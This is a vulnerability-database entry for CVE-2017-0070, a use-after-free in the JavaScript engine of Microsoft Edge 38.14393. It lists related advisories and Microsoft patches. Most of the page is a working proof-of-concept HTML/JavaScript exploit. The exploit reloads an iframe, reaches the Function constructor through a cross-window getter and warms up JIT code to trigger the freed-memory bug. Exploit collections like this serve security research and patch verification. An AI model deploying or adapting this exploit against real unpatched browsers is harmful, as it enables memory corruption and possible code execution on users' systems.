Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free (CVE-2017-0070)

🗓️ 20 Mar 2017 00:00:00Reported by AnonymousType

Microsoft Edge 38.14393.0.0 JavaScript Engine Use-After-Fre

Reporter	Title	Published	Views	Family All 51
0day.today	Microsoft Edge 38.14393.0.0 - JavaScript Engine Use-After-Free Exploit	16 Mar 201700:00	–	zdt
BDU FSTEC	Microsoft Edge browser vulnerability, allowing a hacker to execute arbitrary code	31 Mar 201700:00	–	bdu_fstec
Circl	CVE-2017-0070	16 Mar 201700:00	–	circl
CNVD	Microsoft Edge Scripting Engine Memory Corruption Vulnerability (CNVD-2017-03374)	16 Mar 201700:00	–	cnvd
Check Point Advisories	Microsoft Scripting Engine Memory Corruption (MS17-007: CVE-2017-0070)	14 Mar 201700:00	–	checkpoint_advisories
CVE	CVE-2017-0070	17 Mar 201700:00	–	cve
Cvelist	CVE-2017-0070	17 Mar 201700:00	–	cvelist
Microsoft KB	March 14, 2017—KB4012606 (OS Build 10240.17319)	14 Mar 201707:00	–	mskb
Microsoft KB	MS17-007: Cumulative security update for Microsoft Edge: March 14, 2017	14 Mar 201700:00	–	mskb
Microsoft KB	March 14, 2017—KB4013198 (OS Build 10586.839)	14 Mar 201707:00	–	mskb


                                                <pre id="d">
</pre>
<body></body>
 
<script>
 
function log(txt) {
    var c = document.createElement("div");
    c.innerText = "log: " + txt;
    d.appendChild(c);
}
 
function main() {
    var f = document.createElement("iframe");
     
    f.onload = () => {
        f.onload = () => {
            var status = window.__lookupGetter__("defaultStatus").call(f.contentWindow);
            var func_cons = status.constructor.constructor;
 
            var ff = func_cons("return 0x12345;");
            for (var i = 0; i < 0x100000; i++)
                ff();
 
            f.onload = () => {
                alert("get ready");
                ff();
            };
 
            f.src = "about:blank";
        };
 
        //a = f.contentWindow;
        f.src = "about:blank";
    };
 
    document.body.appendChild(f);
}
 
main();
 
</script>

20 Mar 2017 00:00Current

7.6High risk

Vulners AI Score7.6

EPSS0.78538